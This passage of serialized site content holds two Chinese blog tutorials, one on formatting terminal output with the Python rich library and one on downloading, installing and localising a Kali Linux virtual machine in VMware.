基础\n",{"type":18,"tag":297,"props":37533,"children":37534},{"class":299,"line":657},[37535],{"type":18,"tag":297,"props":37536,"children":37537},{},[37538],{"type":24,"value":37539},"style=\"bold italic\"           # 粗体+斜体\n",{"type":18,"tag":297,"props":37541,"children":37542},{"class":299,"line":662},[37543],{"type":18,"tag":297,"props":37544,"children":37545},{},[37546],{"type":24,"value":37547},"style=\"underline2\"           # 双下划线\n",{"type":18,"tag":297,"props":37549,"children":37550},{"class":299,"line":799},[37551],{"type":18,"tag":297,"props":37552,"children":37553},{},[37554],{"type":24,"value":37555},"style=\"strike\"              # 删除线\n",{"type":18,"tag":297,"props":37557,"children":37558},{"class":299,"line":808},[37559],{"type":18,"tag":297,"props":37560,"children":37561},{},[37562],{"type":24,"value":37563},"style=\"reverse\"             # 反色（前景\u002F背景互换）\n",{"type":18,"tag":297,"props":37565,"children":37566},{"class":299,"line":817},[37567],{"type":18,"tag":297,"props":37568,"children":37569},{},[37570],{"type":24,"value":37571},"style=\"blink\"               # 闪烁\n",{"type":18,"tag":297,"props":37573,"children":37574},{"class":299,"line":826},[37575],{"type":18,"tag":297,"props":37576,"children":37577},{"emptyLinePlaceholder":793},[37578],{"type":24,"value":796},{"type":18,"tag":297,"props":37580,"children":37581},{"class":299,"line":4524},[37582],{"type":18,"tag":297,"props":37583,"children":37584},{},[37585],{"type":24,"value":37586},"# 颜色\n",{"type":18,"tag":297,"props":37588,"children":37589},{"class":299,"line":4533},[37590],{"type":18,"tag":297,"props":37591,"children":37592},{},[37593],{"type":24,"value":37594},"style=\"red on white\"        # 红字白底\n",{"type":18,"tag":297,"props":37596,"children":37597},{"class":299,"line":4546},[37598],{"type":18,"tag":297,"props":37599,"children":37600},{},[37601],{"type":24,"value":37602},"style=\"#ff00ff on #00ff00\" # RGB颜色\n",{"type":18,"tag":297,"props":37604,"children":37605},{"class":299,"line":4555},[37606],{"type":18,"tag":297,"props":37607,"children":37608},{"emptyLinePlaceholder":793},[37609],{"type":24,"value":796},{"type":18,"tag":297,"props":37611,"children":37612},{"class":299,"line":4568},[37613],{"type":18,"tag":297,"props":37614,"children":37615},{},[37616],{"type":24,"value":37617},"# 渐变（仅限前景色）\n",{"type":18,"tag":297,"props":37619,"children":37620},{"class":299,"line":4577},[37621],{"type":18,"tag":297,"props":37622,"children":37623},{},[37624],{"type":24,"value":37625},"style=\"gradient(red,blue)\"  # 红到蓝渐变\n",{"type":18,"tag":34,"props":37627,"children":37628},{},[37629],{"type":18,"tag":105,"props":37630,"children":37631},{},[37632],{"type":24,"value":37633},"2. 标记语法（Markup）",{"type":18,"tag":287,"props":37635,"children":37637},{"className":28710,"code":37636,"language":28712,"meta":8,"style":8},"\"[bold red on yellow]文本[\u002F]\"\n\"[link https:\u002F\u002Fexample.com]可点击链接[\u002F]\"\n",[37638],{"type":18,"tag":74,"props":37639,"children":37640},{"__ignoreMap":8},[37641,37649],{"type":18,"tag":297,"props":37642,"children":37643},{"class":299,"line":300},[37644],{"type":18,"tag":297,"props":37645,"children":37646},{},[37647],{"type":24,"value":37648},"\"[bold red on yellow]文本[\u002F]\"\n",{"type":18,"tag":297,"props":37650,"children":37651},{"class":299,"line":657},[37652],{"type":18,"tag":297,"props":37653,"children":37654},{},[37655],{"type":24,"value":37656},"\"[link https:\u002F\u002Fexample.com]可点击链接[\u002F]\"\n",{"type":18,"tag":34,"props":37658,"children":37659},{},[37660],{"type":18,"tag":105,"props":37661,"children":37662},{},[37663],{"type":24,"value":37664},"3. 其他重要参数",{"type":18,"tag":287,"props":37666,"children":37668},{"className":28710,"code":37667,"language":28712,"meta":8,"style":8},"justify=\"left\u002Fcenter\u002Fright\"  # 对齐方式\noverflow=\"fold\u002Fellipsis\"     # 超长文本处理\nemoji=False                  # 禁用表情符号\n",[37669],{"type":18,"tag":74,"props":37670,"children":37671},{"__ignoreMap":8},[37672,37680,37688],{"type":18,"tag":297,"props":37673,"children":37674},{"class":299,"line":300},[37675],{"type":18,"tag":297,"props":37676,"children":37677},{},[37678],{"type":24,"value":37679},"justify=\"left\u002Fcenter\u002Fright\"  # 对齐方式\n",{"type":18,"tag":297,"props":37681,"children":37682},{"class":299,"line":657},[37683],{"type":18,"tag":297,"props":37684,"children":37685},{},[37686],{"type":24,"value":37687},"overflow=\"fold\u002Fellipsis\"     # 超长文本处理\n",{"type":18,"tag":297,"props":37689,"children":37690},{"class":299,"line":662},[37691],{"type":18,"tag":297,"props":37692,"children":37693},{},[37694],{"type":24,"value":37695},"emoji=False                  # 禁用表情符号\n",{"type":18,"tag":34,"props":37697,"children":37698},{},[37699],{"type":24,"value":20328},{"type":18,"tag":287,"props":37701,"children":37703},{"className":28710,"code":37702,"language":28712,"meta":8,"style":8},"console.print([1,2,3])  \nconsole.print(locals())  \nconsole.print(\"[blue underline]Looks like a link\")  \nconsole.print(\"FOO\",style=\"blink\")  \nconsole.print(\"[link https:\u002F\u002Fexample.com]可点击链接[\u002F]\")  \nconsole.print(\"[bold red on yellow]文本[\u002F]\")  \nconsole.print(\"[bold red on yellow]文本[\u002F]\",justify=\"center\")\n",[37704],{"type":18,"tag":74,"props":37705,"children":37706},{"__ignoreMap":8},[37707,37715,37723,37731,37739,37747,37755],{"type":18,"tag":297,"props":37708,"children":37709},{"class":299,"line":300},[37710],{"type":18,"tag":297,"props":37711,"children":37712},{},[37713],{"type":24,"value":37714},"console.print([1,2,3])  \n",{"type":18,"tag":297,"props":37716,"children":37717},{"class":299,"line":657},[37718],{"type":18,"tag":297,"props":37719,"children":37720},{},[37721],{"type":24,"value":37722},"console.print(locals())  \n",{"type":18,"tag":297,"props":37724,"children":37725},{"class":299,"line":662},[37726],{"type":18,"tag":297,"props":37727,"children":37728},{},[37729],{"type":24,"value":37730},"console.print(\"[blue underline]Looks like a link\")  \n",{"type":18,"tag":297,"props":37732,"children":37733},{"class":299,"line":799},[37734],{"type":18,"tag":297,"props":37735,"children":37736},{},[37737],{"type":24,"value":37738},"console.print(\"FOO\",style=\"blink\")  \n",{"type":18,"tag":297,"props":37740,"children":37741},{"class":299,"line":808},[37742],{"type":18,"tag":297,"props":37743,"children":37744},{},[37745],{"type":24,"value":37746},"console.print(\"[link https:\u002F\u002Fexample.com]可点击链接[\u002F]\")  \n",{"type":18,"tag":297,"props":37748,"children":37749},{"class":299,"line":817},[37750],{"type":18,"tag":297,"props":37751,"children":37752},{},[37753],{"type":24,"value":37754},"console.print(\"[bold red on yellow]文本[\u002F]\")  \n",{"type":18,"tag":297,"props":37756,"children":37757},{"class":299,"line":826},[37758],{"type":18,"tag":297,"props":37759,"children":37760},{},[37761],{"type":24,"value":37762},"console.print(\"[bold red on yellow]文本[\u002F]\",justify=\"center\")\n",{"type":18,"tag":34,"props":37764,"children":37765},{},[37766],{"type":18,"tag":54,"props":37767,"children":37769},{"alt":8,"src":37768},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211140355003.png",[],{"type":18,"tag":154,"props":37771,"children":37772},{"start":817},[37773],{"type":18,"tag":158,"props":37774,"children":37775},{},[37776,37781,37783],{"type":18,"tag":74,"props":37777,"children":37779},{"className":37778},[],[37780],{"type":24,"value":16753},{"type":24,"value":37782}," 关键参数：",{"type":18,"tag":154,"props":37784,"children":37785},{},[37786,37797,37808,37819,37829,37840,37851,37862,37873,37884],{"type":18,"tag":158,"props":37787,"children":37788},{},[37789,37795],{"type":18,"tag":74,"props":37790,"children":37792},{"className":37791},[],[37793],{"type":24,"value":37794},"*objects",{"type":24,"value":37796}," - 要打印的内容",{"type":18,"tag":158,"props":37798,"children":37799},{},[37800,37806],{"type":18,"tag":74,"props":37801,"children":37803},{"className":37802},[],[37804],{"type":24,"value":37805},"sep",{"type":24,"value":37807}," - 分隔符，默认空格",{"type":18,"tag":158,"props":37809,"children":37810},{},[37811,37817],{"type":18,"tag":74,"props":37812,"children":37814},{"className":37813},[],[37815],{"type":24,"value":37816},"end",{"type":24,"value":37818}," - 结尾符，默认换行",{"type":18,"tag":158,"props":37820,"children":37821},{},[37822,37827],{"type":18,"tag":74,"props":37823,"children":37825},{"className":37824},[],[37826],{"type":24,"value":651},{"type":24,"value":37828}," - 样式",{"type":18,"tag":158,"props":37830,"children":37831},{},[37832,37838],{"type":18,"tag":74,"props":37833,"children":37835},{"className":37834},[],[37836],{"type":24,"value":37837},"justify",{"type":24,"value":37839}," - 对齐方式",{"type":18,"tag":158,"props":37841,"children":37842},{},[37843,37849],{"type":18,"tag":74,"props":37844,"children":37846},{"className":37845},[],[37847],{"type":24,"value":37848},"emoji",{"type":24,"value":37850}," - 是否启用表情符号",{"type":18,"tag":158,"props":37852,"children":37853},{},[37854,37860],{"type":18,"tag":74,"props":37855,"children":37857},{"className":37856},[],[37858],{"type":24,"value":37859},"markup",{"type":24,"value":37861}," - 是否启用标记语法",{"type":18,"tag":158,"props":37863,"children":37864},{},[37865,37871],{"type":18,"tag":74,"props":37866,"children":37868},{"className":37867},[],[37869],{"type":24,"value":37870},"highlight",{"type":24,"value":37872}," - 是否启用自动高亮",{"type":18,"tag":158,"props":37874,"children":37875},{},[37876,37882],{"type":18,"tag":74,"props":37877,"children":37879},{"className":37878},[],[37880],{"type":24,"value":37881},"log_locals",{"type":24,"value":37883}," - 是否打印局部变量",{"type":18,"tag":158,"props":37885,"children":37886},{},[37887,37893],{"type":18,"tag":74,"props":37888,"children":37890},{"className":37889},[],[37891],{"type":24,"value":37892},"_stack_offset",{"type":24,"value":37894}," - 调用栈偏移量",{"type":18,"tag":34,"props":37896,"children":37897},{},[37898],{"type":24,"value":20328},{"type":18,"tag":287,"props":37900,"children":37902},{"className":28710,"code":37901,"language":28712,"meta":8,"style":8},"def func(msg=\"未查询到任何消息\", flag=False):  \n    a,b = 10,20  \n    console.log(\"[blue underline]Looks like a link\",log_locals=flag)  \n    time.sleep(1)  \n    console.log(f\"[bold red]ERROR消息[\u002F]: {msg}\")  \n    time.sleep(1)  \n    console.log(f\"[yellow]WARNING消息[\u002F]: {msg}\")  \n    time.sleep(1)  \n  \nprint(\"log_locals参数值为False效果展示\")  \nfunc()  \n  \nprint(\"log_locals参数值为True效果展示\")  \nfunc(flag=True)\n",[37903],{"type":18,"tag":74,"props":37904,"children":37905},{"__ignoreMap":8},[37906,37914,37922,37930,37938,37946,37953,37961,37968,37975,37983,37991,37998,38006],{"type":18,"tag":297,"props":37907,"children":37908},{"class":299,"line":300},[37909],{"type":18,"tag":297,"props":37910,"children":37911},{},[37912],{"type":24,"value":37913},"def func(msg=\"未查询到任何消息\", flag=False):  \n",{"type":18,"tag":297,"props":37915,"children":37916},{"class":299,"line":657},[37917],{"type":18,"tag":297,"props":37918,"children":37919},{},[37920],{"type":24,"value":37921},"    a,b = 10,20  \n",{"type":18,"tag":297,"props":37923,"children":37924},{"class":299,"line":662},[37925],{"type":18,"tag":297,"props":37926,"children":37927},{},[37928],{"type":24,"value":37929},"    console.log(\"[blue underline]Looks like a link\",log_locals=flag)  \n",{"type":18,"tag":297,"props":37931,"children":37932},{"class":299,"line":799},[37933],{"type":18,"tag":297,"props":37934,"children":37935},{},[37936],{"type":24,"value":37937},"    time.sleep(1)  \n",{"type":18,"tag":297,"props":37939,"children":37940},{"class":299,"line":808},[37941],{"type":18,"tag":297,"props":37942,"children":37943},{},[37944],{"type":24,"value":37945},"    console.log(f\"[bold red]ERROR消息[\u002F]: {msg}\")  \n",{"type":18,"tag":297,"props":37947,"children":37948},{"class":299,"line":817},[37949],{"type":18,"tag":297,"props":37950,"children":37951},{},[37952],{"type":24,"value":37937},{"type":18,"tag":297,"props":37954,"children":37955},{"class":299,"line":826},[37956],{"type":18,"tag":297,"props":37957,"children":37958},{},[37959],{"type":24,"value":37960},"    console.log(f\"[yellow]WARNING消息[\u002F]: {msg}\")  \n",{"type":18,"tag":297,"props":37962,"children":37963},{"class":299,"line":4524},[37964],{"type":18,"tag":297,"props":37965,"children":37966},{},[37967],{"type":24,"value":37937},{"type":18,"tag":297,"props":37969,"children":37970},{"class":299,"line":4533},[37971],{"type":18,"tag":297,"props":37972,"children":37973},{},[37974],{"type":24,"value":36783},{"type":18,"tag":297,"props":37976,"children":37977},{"class":299,"line":4546},[37978],{"type":18,"tag":297,"props":37979,"children":37980},{},[37981],{"type":24,"value":37982},"print(\"log_locals参数值为False效果展示\")  \n",{"type":18,"tag":297,"props":37984,"children":37985},{"class":299,"line":4555},[37986],{"type":18,"tag":297,"props":37987,"children":37988},{},[37989],{"type":24,"value":37990},"func()  \n",{"type":18,"tag":297,"props":37992,"children":37993},{"class":299,"line":4568},[37994],{"type":18,"tag":297,"props":37995,"children":37996},{},[37997],{"type":24,"value":36783},{"type":18,"tag":297,"props":37999,"children":38000},{"class":299,"line":4577},[38001],{"type":18,"tag":297,"props":38002,"children":38003},{},[38004],{"type":24,"value":38005},"print(\"log_locals参数值为True效果展示\")  \n",{"type":18,"tag":297,"props":38007,"children":38008},{"class":299,"line":4590},[38009],{"type":18,"tag":297,"props":38010,"children":38011},{},[38012],{"type":24,"value":38013},"func(flag=True)\n",{"type":18,"tag":34,"props":38015,"children":38016},{},[38017],{"type":18,"tag":54,"props":38018,"children":38020},{"alt":8,"src":38019},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211143110202.png",[],{"type":18,"tag":154,"props":38022,"children":38023},{"start":826},[38024],{"type":18,"tag":158,"props":38025,"children":38026},{},[38027,38029,38035],{"type":24,"value":38028},"该",{"type":18,"tag":74,"props":38030,"children":38032},{"className":38031},[],[38033],{"type":24,"value":38034},"print_json",{"type":24,"value":38036},"方法可以很好地打印（格式化和样式）包含 JSON 的字符串。这里有一个简短的例子：",{"type":18,"tag":287,"props":38038,"children":38040},{"className":28710,"code":38039,"language":28712,"meta":8,"style":8},"console.print_json('[false, true, null, \"foo\"]')\n",[38041],{"type":18,"tag":74,"props":38042,"children":38043},{"__ignoreMap":8},[38044],{"type":18,"tag":297,"props":38045,"children":38046},{"class":299,"line":300},[38047],{"type":18,"tag":297,"props":38048,"children":38049},{},[38050],{"type":24,"value":38039},{"type":18,"tag":34,"props":38052,"children":38053},{},[38054],{"type":24,"value":38055},"你也可以通过记录一个对象来记录json:",{"type":18,"tag":287,"props":38057,"children":38059},{"className":28710,"code":38058,"language":28712,"meta":8,"style":8},"from rich.json import JSON\nconsole.log(JSON('[\"foo\", \"bar\"]'))\n",[38060],{"type":18,"tag":74,"props":38061,"children":38062},{"__ignoreMap":8},[38063,38071],{"type":18,"tag":297,"props":38064,"children":38065},{"class":299,"line":300},[38066],{"type":18,"tag":297,"props":38067,"children":38068},{},[38069],{"type":24,"value":38070},"from rich.json import JSON\n",{"type":18,"tag":297,"props":38072,"children":38073},{"class":299,"line":657},[38074],{"type":18,"tag":297,"props":38075,"children":38076},{},[38077],{"type":24,"value":38078},"console.log(JSON('[\"foo\", \"bar\"]'))\n",{"type":18,"tag":34,"props":38080,"children":38081},{},[38082,38084],{"type":24,"value":38083},"由于打印 JSON 是常见要求，你可以从主命名空间导入：",{"type":18,"tag":74,"props":38085,"children":38087},{"className":38086},[],[38088],{"type":24,"value":38034},{"type":18,"tag":287,"props":38090,"children":38092},{"className":28710,"code":38091,"language":28712,"meta":8,"style":8},"from rich import print_json\n",[38093],{"type":18,"tag":74,"props":38094,"children":38095},{"__ignoreMap":8},[38096],{"type":18,"tag":297,"props":38097,"children":38098},{"class":299,"line":300},[38099],{"type":18,"tag":297,"props":38100,"children":38101},{},[38102],{"type":24,"value":38091},{"type":18,"tag":34,"props":38104,"children":38105},{},[38106],{"type":24,"value":38107},"你也可以通过命令行漂亮地打印JSON，具体作如下：",{"type":18,"tag":287,"props":38109,"children":38111},{"className":289,"code":38110,"language":291,"meta":8,"style":8},"python -m rich.json cats.json\n",[38112],{"type":18,"tag":74,"props":38113,"children":38114},{"__ignoreMap":8},[38115],{"type":18,"tag":297,"props":38116,"children":38117},{"class":299,"line":300},[38118,38122,38126,38131],{"type":18,"tag":297,"props":38119,"children":38120},{"style":304},[38121],{"type":24,"value":28712},{"type":18,"tag":297,"props":38123,"children":38124},{"style":906},[38125],{"type":24,"value":909},{"type":18,"tag":297,"props":38127,"children":38128},{"style":310},[38129],{"type":24,"value":38130}," rich.json",{"type":18,"tag":297,"props":38132,"children":38133},{"style":310},[38134],{"type":24,"value":38135}," cats.json\n",{"type":18,"tag":34,"props":38137,"children":38138},{},[38139],{"type":24,"value":20328},{"type":18,"tag":287,"props":38141,"children":38143},{"className":28710,"code":38142,"language":28712,"meta":8,"style":8},"with open(\"灾难.json\",\"r\",encoding=\"utf-8\") as f:  \n    data = f.read()  \n  \n    # 方法一：直接调用print_json方法  \n    console.print_json(data)  \n  \n    # 方法二：实用JSON转化再调用log方法  \n    from rich.json import JSON  \n    console.log(JSON(data))\n",[38144],{"type":18,"tag":74,"props":38145,"children":38146},{"__ignoreMap":8},[38147,38155,38163,38170,38178,38186,38193,38201,38209],{"type":18,"tag":297,"props":38148,"children":38149},{"class":299,"line":300},[38150],{"type":18,"tag":297,"props":38151,"children":38152},{},[38153],{"type":24,"value":38154},"with open(\"灾难.json\",\"r\",encoding=\"utf-8\") as f:  \n",{"type":18,"tag":297,"props":38156,"children":38157},{"class":299,"line":657},[38158],{"type":18,"tag":297,"props":38159,"children":38160},{},[38161],{"type":24,"value":38162},"    data = f.read()  \n",{"type":18,"tag":297,"props":38164,"children":38165},{"class":299,"line":662},[38166],{"type":18,"tag":297,"props":38167,"children":38168},{},[38169],{"type":24,"value":36783},{"type":18,"tag":297,"props":38171,"children":38172},{"class":299,"line":799},[38173],{"type":18,"tag":297,"props":38174,"children":38175},{},[38176],{"type":24,"value":38177},"    # 方法一：直接调用print_json方法  \n",{"type":18,"tag":297,"props":38179,"children":38180},{"class":299,"line":808},[38181],{"type":18,"tag":297,"props":38182,"children":38183},{},[38184],{"type":24,"value":38185},"    console.print_json(data)  \n",{"type":18,"tag":297,"props":38187,"children":38188},{"class":299,"line":817},[38189],{"type":18,"tag":297,"props":38190,"children":38191},{},[38192],{"type":24,"value":36783},{"type":18,"tag":297,"props":38194,"children":38195},{"class":299,"line":826},[38196],{"type":18,"tag":297,"props":38197,"children":38198},{},[38199],{"type":24,"value":38200},"    # 方法二：实用JSON转化再调用log方法  \n",{"type":18,"tag":297,"props":38202,"children":38203},{"class":299,"line":4524},[38204],{"type":18,"tag":297,"props":38205,"children":38206},{},[38207],{"type":24,"value":38208},"    from rich.json import JSON  \n",{"type":18,"tag":297,"props":38210,"children":38211},{"class":299,"line":4533},[38212],{"type":18,"tag":297,"props":38213,"children":38214},{},[38215],{"type":24,"value":38216},"    console.log(JSON(data))\n",{"type":18,"tag":651,"props":38218,"children":38219},{},[38220],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":38222},[38223,38224],{"id":36672,"depth":662,"text":36672},{"id":37270,"depth":662,"text":37273},"content:blog:2026-02-11-python-rich.md","blog\u002F2026-02-11-python-rich.md","blog\u002F2026-02-11-python-rich",{"_path":38229,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":38230,"description":38231,"date":38232,"tags":38233,"body":38235,"_type":672,"_id":38870,"_source":674,"_file":38871,"_stem":38872,"_extension":677},"\u002Fblog\u002F2026-02-07-kaliinstall","Kali 的下载和安装","Kali Linux 下载、安装、配置与汉化完整教程，包含 VMware 虚拟机安装和中文输入法配置。","2026-02-07",[27391,38234,27392],"Linux",{"type":15,"children":38236,"toc":38863},[38237,38256,38287,38293,38308,38315,38321,38337,38344,38360,38367,38375,38382,38398,38405,38413,38420,38426,38439,38447,38465,38472,38480,38487,38502,38509,38529,38537,38544,38550,38558,38583,38623,38630,38657,38664,38672,38691,38715,38722,38728,38736,38769,38776,38813,38820,38836,38843,38859],{"type":18,"tag":34,"props":38238,"children":38239},{},[38240,38252],{"type":18,"tag":105,"props":38241,"children":38242},{},[38243,38245],{"type":24,"value":38244},"Kali下载官方地址：",{"type":18,"tag":43,"props":38246,"children":38249},{"href":38247,"rel":38248},"https:\u002F\u002Fwww.kali.org\u002F",[47],[38250],{"type":24,"value":38251},"Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution",{"type":18,"tag":54,"props":38253,"children":38255},{"alt":8,"src":38254},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107117.png",[],{"type":18,"tag":96,"props":38257,"children":38258},{},[38259,38264],{"type":18,"tag":34,"props":38260,"children":38261},{},[38262],{"type":24,"value":38263},"当前环境",{"type":18,"tag":154,"props":38265,"children":38266},{},[38267,38272,38277,38282],{"type":18,"tag":158,"props":38268,"children":38269},{},[38270],{"type":24,"value":38271},"本次Kali安装包为Kali2025.4版本(当前最新版)",{"type":18,"tag":158,"props":38273,"children":38274},{},[38275],{"type":24,"value":38276},"网络采用家庭电信宽带",{"type":18,"tag":158,"props":38278,"children":38279},{},[38280],{"type":24,"value":38281},"实体机为Windows11家庭版",{"type":18,"tag":158,"props":38283,"children":38284},{},[38285],{"type":24,"value":38286},"VMware虚拟机为17版本",{"type":18,"tag":19,"props":38288,"children":38290},{"id":38289},"vmware安装",[38291],{"type":24,"value":38292},"VMware安装",{"type":18,"tag":34,"props":38294,"children":38295},{},[38296],{"type":18,"tag":105,"props":38297,"children":38298},{},[38299,38301],{"type":24,"value":38300},"VMware官网：",{"type":18,"tag":43,"props":38302,"children":38305},{"href":38303,"rel":38304},"https:\u002F\u002Fwww.vmware.com\u002F",[47],[38306],{"type":24,"value":38307},"VMware by Broadcom - Cloud Computing for the Enterprise",{"type":18,"tag":34,"props":38309,"children":38310},{},[38311],{"type":18,"tag":54,"props":38312,"children":38314},{"alt":8,"src":38313},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107117%201.png",[],{"type":18,"tag":19,"props":38316,"children":38318},{"id":38317},"kali下载",[38319],{"type":24,"value":38320},"Kali下载",{"type":18,"tag":154,"props":38322,"children":38323},{},[38324],{"type":18,"tag":158,"props":38325,"children":38326},{},[38327,38329,38335],{"type":24,"value":38328},"进入官网后点击 ",{"type":18,"tag":74,"props":38330,"children":38332},{"className":38331},[],[38333],{"type":24,"value":38334},"Downloads",{"type":24,"value":38336}," 进入下载页面，选择虚拟机版本进行下载；",{"type":18,"tag":34,"props":38338,"children":38339},{},[38340],{"type":18,"tag":54,"props":38341,"children":38343},{"alt":8,"src":38342},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107118.png",[],{"type":18,"tag":154,"props":38345,"children":38346},{"start":657},[38347],{"type":18,"tag":158,"props":38348,"children":38349},{},[38350,38352,38358],{"type":24,"value":38351},"选择安装 ",{"type":18,"tag":74,"props":38353,"children":38355},{"className":38354},[],[38356],{"type":24,"value":38357},"VMware",{"type":24,"value":38359}," 版本，点击下载；",{"type":18,"tag":34,"props":38361,"children":38362},{},[38363],{"type":18,"tag":54,"props":38364,"children":38366},{"alt":8,"src":38365},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107119.png",[],{"type":18,"tag":154,"props":38368,"children":38369},{"start":662},[38370],{"type":18,"tag":158,"props":38371,"children":38372},{},[38373],{"type":24,"value":38374},"等待压缩文件下载完成后对该文件进行解压；",{"type":18,"tag":34,"props":38376,"children":38377},{},[38378],{"type":18,"tag":54,"props":38379,"children":38381},{"alt":8,"src":38380},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107133.png",[],{"type":18,"tag":154,"props":38383,"children":38384},{"start":799},[38385],{"type":18,"tag":158,"props":38386,"children":38387},{},[38388,38390,38396],{"type":24,"value":38389},"解压完成后在解压后的文件中找到以 ",{"type":18,"tag":74,"props":38391,"children":38393},{"className":38392},[],[38394],{"type":24,"value":38395},".vmx",{"type":24,"value":38397}," 结尾的文件，双击运行它；",{"type":18,"tag":34,"props":38399,"children":38400},{},[38401],{"type":18,"tag":54,"props":38402,"children":38404},{"alt":8,"src":38403},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107134.png",[],{"type":18,"tag":154,"props":38406,"children":38407},{"start":808},[38408],{"type":18,"tag":158,"props":38409,"children":38410},{},[38411],{"type":24,"value":38412},"成功运行后的页面如下所示。",{"type":18,"tag":34,"props":38414,"children":38415},{},[38416],{"type":18,"tag":54,"props":38417,"children":38419},{"alt":8,"src":38418},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107135.png",[],{"type":18,"tag":19,"props":38421,"children":38423},{"id":38422},"kali配置",[38424],{"type":24,"value":38425},"Kali配置",{"type":18,"tag":96,"props":38427,"children":38428},{},[38429,38434],{"type":18,"tag":34,"props":38430,"children":38431},{},[38432],{"type":24,"value":38433},"Kali安装检查",{"type":18,"tag":34,"props":38435,"children":38436},{},[38437],{"type":24,"value":38438},"安装好kali之后需要做如下的配置和检查、确保自己的网络、设备等可以正常使用！",{"type":18,"tag":154,"props":38440,"children":38441},{},[38442],{"type":18,"tag":158,"props":38443,"children":38444},{},[38445],{"type":24,"value":38446},"升级虚拟机、确保虚拟机、确保鼠标和兼容性正常；",{"type":18,"tag":210,"props":38448,"children":38449},{},[38450,38455,38460],{"type":18,"tag":158,"props":38451,"children":38452},{},[38453],{"type":24,"value":38454},"点击开启此虚拟机",{"type":18,"tag":158,"props":38456,"children":38457},{},[38458],{"type":24,"value":38459},"将兼容性拉满(选择最顶部的版本)",{"type":18,"tag":158,"props":38461,"children":38462},{},[38463],{"type":24,"value":38464},"更改此虚拟机",{"type":18,"tag":34,"props":38466,"children":38467},{},[38468],{"type":18,"tag":54,"props":38469,"children":38471},{"alt":8,"src":38470},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107135%201.png",[],{"type":18,"tag":154,"props":38473,"children":38474},{"start":657},[38475],{"type":18,"tag":158,"props":38476,"children":38477},{},[38478],{"type":24,"value":38479},"检查网络是否可以正常上网，打开kali自带的火狐浏览器，随意输入一个网站查看是否可以正常访问；",{"type":18,"tag":34,"props":38481,"children":38482},{},[38483],{"type":18,"tag":54,"props":38484,"children":38486},{"alt":8,"src":38485},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107138.png",[],{"type":18,"tag":154,"props":38488,"children":38489},{"start":662},[38490],{"type":18,"tag":158,"props":38491,"children":38492},{},[38493,38495,38501],{"type":24,"value":38494},"更新源，终端输入 ",{"type":18,"tag":74,"props":38496,"children":38498},{"className":38497},[],[38499],{"type":24,"value":38500},"sudo apt update",{"type":24,"value":8574},{"type":18,"tag":34,"props":38503,"children":38504},{},[38505],{"type":18,"tag":54,"props":38506,"children":38508},{"alt":8,"src":38507},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107140.png",[],{"type":18,"tag":96,"props":38510,"children":38511},{},[38512,38517],{"type":18,"tag":34,"props":38513,"children":38514},{},[38515],{"type":24,"value":38516},"更新失败情况",{"type":18,"tag":34,"props":38518,"children":38519},{},[38520,38522,38527],{"type":24,"value":38521},"若采用校园网进行更新，则校园网可能会对其进行限制，导致更新失败，所以建议更换为手机热点再进行尝试。新手不建议进行",{"type":18,"tag":105,"props":38523,"children":38524},{},[38525],{"type":24,"value":38526},"换源",{"type":24,"value":38528},"操作。",{"type":18,"tag":154,"props":38530,"children":38531},{"start":799},[38532],{"type":18,"tag":158,"props":38533,"children":38534},{},[38535],{"type":24,"value":38536},"成功更新后的页面",{"type":18,"tag":34,"props":38538,"children":38539},{},[38540],{"type":18,"tag":54,"props":38541,"children":38543},{"alt":8,"src":38542},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107141.png",[],{"type":18,"tag":19,"props":38545,"children":38547},{"id":38546},"kali汉化",[38548],{"type":24,"value":38549},"Kali汉化",{"type":18,"tag":154,"props":38551,"children":38552},{},[38553],{"type":18,"tag":158,"props":38554,"children":38555},{},[38556],{"type":24,"value":38557},"打开终端输入下列命令打开语言窗口：",{"type":18,"tag":287,"props":38559,"children":38561},{"className":289,"code":38560,"language":291,"meta":8,"style":8},"sudo dpkg-reconfigure locales\n",[38562],{"type":18,"tag":74,"props":38563,"children":38564},{"__ignoreMap":8},[38565],{"type":18,"tag":297,"props":38566,"children":38567},{"class":299,"line":300},[38568,38573,38578],{"type":18,"tag":297,"props":38569,"children":38570},{"style":304},[38571],{"type":24,"value":38572},"sudo",{"type":18,"tag":297,"props":38574,"children":38575},{"style":310},[38576],{"type":24,"value":38577}," dpkg-reconfigure",{"type":18,"tag":297,"props":38579,"children":38580},{"style":310},[38581],{"type":24,"value":38582}," locales\n",{"type":18,"tag":154,"props":38584,"children":38585},{"start":657},[38586],{"type":18,"tag":158,"props":38587,"children":38588},{},[38589,38591,38597,38599,38605,38607,38613,38615,38621],{"type":24,"value":38590},"然后通过方向键进行语言选择（这里选择汉语",{"type":18,"tag":74,"props":38592,"children":38594},{"className":38593},[],[38595],{"type":24,"value":38596},"zh_CN",{"type":24,"value":38598},"），指向目标内容后通过",{"type":18,"tag":74,"props":38600,"children":38602},{"className":38601},[],[38603],{"type":24,"value":38604},"空格键",{"type":24,"value":38606},"进行选中，然后",{"type":18,"tag":74,"props":38608,"children":38610},{"className":38609},[],[38611],{"type":24,"value":38612},"Tab键",{"type":24,"value":38614},"选中",{"type":18,"tag":74,"props":38616,"children":38618},{"className":38617},[],[38619],{"type":24,"value":38620},"ok键",{"type":24,"value":38622},"回车；",{"type":18,"tag":34,"props":38624,"children":38625},{},[38626],{"type":18,"tag":54,"props":38627,"children":38629},{"alt":8,"src":38628},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107141%201.png",[],{"type":18,"tag":154,"props":38631,"children":38632},{"start":662},[38633],{"type":18,"tag":158,"props":38634,"children":38635},{},[38636,38638,38643,38645,38650,38651,38656],{"type":24,"value":38637},"再次选中目标（这里选择汉语",{"type":18,"